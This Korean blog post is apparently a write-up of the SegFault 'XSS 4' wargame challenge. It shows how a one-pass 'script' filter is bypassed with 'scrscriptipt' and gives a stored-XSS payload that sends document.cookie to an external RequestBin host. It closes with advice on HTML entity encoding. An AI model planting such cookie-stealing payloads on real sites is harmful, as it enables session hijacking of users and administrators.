Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (XSS) - XSS 4

Gearvirus(junyup2) 2023. 12. 29. 17:43

[SegFault] (XSS)

XSS 4

๊ด€๋ฆฌ์ž์˜ Cookie๋ฅผ ํƒˆ์ทจํ•˜์„ธ์š”!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ Cookie ๊ฐ’์„ ํƒˆ์ทจํ•˜์—ฌ ๋ฐ›์œผ๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ํ•ด๋‹น ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(RequestBin)๋กœ ์ฟ ํ‚ค ๊ฐ’์ด ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

์ด์ œ ์•„๋ž˜์˜ ๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์—๋Š” XSS ์ทจ์•ฝ์ ์ด ์—†๋‹ค๊ณ  ํŒ๋‹จ๋˜์–ด ๊ณต์ง€์‚ฌํ•ญ์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์— ๋Œ€ํ•ด์„œ๋Š” ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์•„ ๊ธ€์“ฐ๊ธฐ๋ฅผ ์ด์šฉํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž… ๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•œ๋‹ค.

 

XSS Point

์Šคํฌ๋ฆฝํŠธ์— ์ด์šฉ ๊ฐ€๋Šฅํ•œ ํŠน์ˆ˜๋ฌธ์ž๋ฅผ ํ™•์ธํ•ด๋ณด๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ๊ธ€์„ ์ž‘์„ฑํ•ด๋ณธ๋‹ค.

< ' " >

์œ„์™€ ๊ฐ™์ด ๊ธ€์„ ์ž‘์„ฑํ•˜๊ณ  ํ™•์ธํ•ด๋ณธ๋‹ค.

์ด๋ฅผ Burp๋ฅผ ์ด์šฉํ•˜์—ฌ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด < ' " > ์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด์ œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž… ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด๋ณด๊ธฐ ์œ„ํ•ด <script>๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ํ™•์ธํ•ด๋ณธ๋‹ค.

์œ„์™€ ๊ฐ™์ด ๊ธ€์„ ์ˆ˜์ •ํ•œ ํ›„ ํ•ด๋‹น ๊ธ€์— ์ ‘๊ทผํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด script ๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ์‚ฌ๋ผ์ ธ์„œ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด Burp๋กœ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ script๋ผ๋Š” ๋‹จ์–ด ์ž์ฒด๊ฐ€ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋ณ€ํ™˜๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด script ๋ฌธ์ž ์‚ฌ์ด์— script๋ผ๋Š” ๋‹จ์–ด๋ฅผ ํ•œ๋ฒˆ ๋” ๋„ฃ์–ด ํ™•์ธํ•ด๋ณธ๋‹ค.

scrscriptipt

์œ„์™€ ๊ฐ™์ด ์ž‘์„ฑ๋œ ๊ธ€์— ์ ‘๊ทผํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ๋‚ด์šฉ์ด ๋ณด์ด์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ๊ธ€์˜ ์ œ๋ชฉ์ด๋‚˜ ๋‚ด์šฉ์— ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž… ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

๊ธ€์˜ ๋‚ด์šฉ์— ์‚ฝ์ž…ํ•  ์ฟ ํ‚ค ํƒˆ์ทจ๋ฅผ ์œ„ํ•œ ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

ํŽ˜์ด๋กœ๋“œ (Payload)

<scrscriptipt>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://eneqijtbrtwyr.x.pipedream.net/?cookie="+cookieData;
</scrscriptipt>

 

์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…

์œ„์™€ ๊ฐ™์ด ๊ธ€์˜ ๋‚ด์šฉ ๋ถ€๋ถ„์— ํ•ด๋‹น ํŽ˜์ด๋กœ๋“œ(Paylaod)๋ฅผ ์‚ฝ์ž…ํ•ด์ค€๋‹ค.

ํ•ด๋‹น ๊ธ€์„ ์ฝ๊ธฐ ์œ„ํ•ด ์ ‘๊ทผํ•˜๋Š” ๊ฒฝ์šฐ์— ๋‚ด์šฉ ๋ถ€๋ถ„์˜ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด ํ™”๋ฉด์—๋Š” ๋‚ด์šฉ์ด ์ถœ๋ ฅ๋˜์ง€ ์•Š์ง€๋งŒ ์ €์žฅ๋˜์–ด ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ๊ธ€์˜ URL์„ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ์ฟ ํ‚ค(Cookie)๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€ ์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ํ•ด๋‹น ๊ธ€์— ์ ‘๊ทผํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์›ํ•˜๋Š” flag๊ฐ€ ํš๋“๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ํŠน์ •๋ฌธ์ž์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ง์ด script์™€ ๊ฐ™์ด ๋ถ™์–ด์žˆ๋Š” ํ˜•ํƒœ์— ํ•œํ•˜์—ฌ ํ•œ๋ฒˆ๋งŒ ์ง„ํ–‰๋˜์–ด scrscriptipt์™€ ๊ฐ™์ด ํ•„ํ„ฐ๋ง ๋ฌธ์ž ์‚ฌ์ด์— ํ•„ํ„ฐ๋ง๋˜๋Š” ๋ฌธ์ž๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๊ฒฝ์šฐ ์ค‘๊ฐ„์˜ ๋ฌธ์ž๋งŒ ๊ณต๋ฐฑ๋ฌธ์ž๋กœ ๋ณ€ํ™˜๋˜๊ณ  ์•ž ๋’ค์˜ ๋ฌธ์ž๊ฐ€ ๋ถ™์–ด script ๋ผ๋Š” ๋‹จ์–ด๊ฐ€ ๋งŒ๋“ค์–ด์ ธ ํ•„ํ„ฐ๋ง์˜ ํšจ๊ณผ๋ฅผ ์ƒ์‹คํ•˜๋Š” ์ ์„ ์ด์šฉํ•œ๋‹ค.
์œ„์˜ ํ•„ํ„ฐ๋ง ์šฐํšŒ๋ฅผ ํ†ตํ•ด ์‘๋‹ต(Response)์— ์ž‘์„ฑ๋˜์–ด ์žˆ๋Š” ์ œ๋ชฉ๊ณผ ๋‚ด์šฉ์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š” ์ ์„ ์ด์šฉํ•œ Stored XSS ์ทจ์•ฝ์ ์ด๋‹ค.

์ž˜๋ชป๋œ ํ•„ํ„ฐ๋ง ๋ฐฉ์‹์€ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ์ด๋‹ค.
< ' " > ์™€ ๊ฐ™์€ ํŠน์ˆ˜๋ฌธ์ž์˜ ๊ฒฝ์šฐ HTML ํŠน์ˆ˜์ฝ”๋“œ(HTML Entity)๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ํƒœ๊ทธ(tag)์™€ ํ˜ผ์šฉ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ฌธ์ž์—ด๋กœ์„œ๋งŒ ์ธ์‹๋˜๋„๋ก ๊ตฌํ˜„ํ•ด์•ผํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜